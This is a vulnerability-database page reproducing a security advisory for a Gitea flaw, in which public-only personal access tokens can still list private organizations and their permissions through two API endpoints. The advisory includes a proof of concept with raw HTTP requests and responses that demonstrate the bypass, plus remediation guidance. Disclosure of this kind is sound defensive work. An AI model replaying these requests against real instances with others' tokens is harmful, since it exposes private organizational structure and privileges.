Gitea
CVE-2026-58429
MEDIUM
Severity by source
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
PR:L overrides vendor PR:H because any regular user token suffices; no admin privilege is needed, and the operational threat is token exposure to low-trust consumers.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
A personal access token restricted with the public-only scope can still retrieve private organization membership and organization permission details for its own account through organization-listing endpoints. This bypass breaks the intended guarantee that such tokens are limited to public resources only.
Details
The issue affects the following endpoints: GET /api/v1/user/orgs GET /api/v1/users/{username}/orgs/{org}/permissions
The application correctly prevents a public-only token from directly accessing a private organization through: GET /api/v1/orgs/{org}
However, that same token can still obtain private organization data through alternate code paths.
The root cause is inconsistent enforcement of the public-only restriction. The middleware responsible for blocking non-public organization access depends on route context being populated with the target organization. That assumption does not hold for all affected routes.
For GET /api/v1/user/orgs, the route does not apply checkTokenPublicOnly() at all.
For GET /api/v1/users/{username}/orgs, the middleware is present, but it evaluates ctx.ContextUser, which represents the user named in the path, not the organization objects returned by the handler. Since ctx.Org.Organization is not populated for these responses, private organization results are not filtered.
The organization listing logic then uses the effective relationship between the authenticated user and the target user to determine visibility. When the token belongs to the same user, the handler allows private organization visibility and returns private memberships.
The permissions endpoint is similarly affected. It relies on general visibility logic relative to the real user account rather than explicitly enforcing the public-only token restriction before returning organization authorization details. As a result, a restricted token can still obtain organization role information such as ownership, admin status, and repository creation capability for a private organization.
This is therefore a route-specific authorization failure: direct organization access is blocked, but indirect endpoints still disclose private organization-derived data.
PoC
Step 1: Create or use a user account that belongs to at least one private organization. <img width="1858" height="891" alt="Screenshot 2026-04-16 001614" src="https://github.com/user-attachments/assets/9c1bdbc4-234f-4f65-9b91-00c7ca9a51f7" />
Step 2: Generate a personal access token for that same user with the scopes: public-only, read:user, and read:organization
https://github.com/user-attachments/assets/c89c9004-5e6d-4ff9-b130-5cd9fedc38f6
Step 3: Confirm the token is correctly restricted by requesting the private organization directly <img width="1918" height="867" alt="Screenshot 2026-04-16 002345" src="https://github.com/user-attachments/assets/4c489174-b4ef-400b-9eea-5484520f51e2" />
[REQUEST] GET /api/v1/orgs/private_1?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 403 Forbidden Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:23:19 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 89 {"message":"token scope is limited to public orgs","url":"https://gitea.com/api/swagger"}
Step 4: Use the same token to request the authenticated user’s organizations. Observe that request send successful and receive data about private org. <img width="1545" height="791" alt="Screenshot 2026-04-16 002751" src="https://github.com/user-attachments/assets/761d2684-0882-4e61-9462-21514738e681" /> [REQUEST] GET /api/v1/user/orgs?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 200 OK Access-Control-Expose-Headers: X-Total-Count Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:26:35 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. X-Total-Count: 1 Content-Length: 261 [{"id":192111,"name":"private_1","full_name":"","email":"","avatar_url":"https://gitea.com/avatars/cc05fbb4da63b760bf83cdc054c3be63","description":"","website":"","location":"","visibility":"private","repo_admin_change_team_access":true,"username":"private_1"}]
Step 5: Use the same token to request organization permissions for that private organization. <img width="1917" height="865" alt="Screenshot 2026-04-16 003100" src="https://github.com/user-attachments/assets/65578c48-3307-4e0d-ae08-991f64158706" /> [REQUEST] GET /api/v1/users/pcatso172124/orgs/private_1/permissions?token=d8010b3dee25df1a9c3cb6aafbd24c27dae7ca56 HTTP/2 Host: gitea.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0 Accept: application/json Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Referer: https://gitea.com/api/swagger Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 Te: trailers
[RESPONSE] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Cache-Control: max-age=0, private, must-revalidate, no-transform Content-Type: application/json;charset=utf-8 Date: Wed, 15 Apr 2026 17:30:32 GMT Server: Caddy Vary: Origin X-Content-Type-Options: nosniff X-Gitea-Warning: token and access_token API authentication is deprecated and will be removed in gitea 1.23. Please use AuthorizationHeaderToken instead. Existing queries will continue to work but without authorization. Content-Length: 95
{"is_owner":true,"is_admin":true,"can_write":true,"can_read":true,"can_create_repository":true}
Impact
Any public-only token for a user who belongs to private organizations can enumerate those private organization names and retrieve detailed authorization information such as ownership, administrative status, write access, read access, and repository-creation capability. This weakens least-privilege token delegation and can expose sensitive internal organizational structure and privilege relationships to third-party integrations, CI jobs, or compromised automation that were only meant to access public data.
AnalysisAI
Public-only personal access token scope enforcement in Gitea's REST API is inconsistently applied across two organization endpoints, allowing a token holder to enumerate private organization memberships and retrieve detailed permission data (ownership, admin status, write access, repository-creation capability) that the public-only restriction was explicitly designed to block. All Gitea versions prior to 1.27.0 are affected via GET /api/v1/user/orgs and GET /api/v1/users/{username}/orgs/{org}/permissions. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires possession of a valid Gitea personal access token configured with the public-only scope plus read:user and read:organization grant categories, belonging to an account that is a member of at least one private organization. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The vendor-assigned CVSS 3.1 score of 4.9 (PR:H) reflects a conservative view that the attacker must already hold the account's own token - treating it as a self-harm scenario. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A CI pipeline is issued a public-only Gitea PAT (with read:user and read:organization scopes) to retrieve public repository metadata without exposure to sensitive organizational data. An attacker who obtains this token - through a leaked environment variable, a misconfigured secrets store, or a compromised pipeline runner - issues GET /api/v1/user/orgs using the token and receives a full list of private organizations the token owner belongs to, including their names and visibility metadata. … |
| Remediation | Upgrade to Gitea v1.27.0 or later, which applies fixes from PRs #37118 (https://github.com/go-gitea/gitea/pull/37118) and #37773 (https://github.com/go-gitea/gitea/pull/37773) and corresponding commits a34eac5ef42ada433a7c7dafb98f15c13d7ad74e and f2a1271f164569264c378fad720b0c000fff3336. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r
Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea
Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem
An issue was discovered in Gitea through 1.11.5. Rated high severity (CVSS 7.5), this vulnerability is remotely exploita
Missing Authorization in GitHub repository go-gitea/gitea prior to 1.16.4. Rated high severity (CVSS 7.1), this vulnerab
Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5. Rated medium severity (CVSS 6.1), this vulne
Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any
Branch-protection bypass in Gitea's self-hosted Git server (all versions before 1.26.0) allows a user with push access t
Migration transport protections in Gitea are bypassed for Git LFS operations, affecting all self-hosted instances before
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-fq2p-5p22-8g6j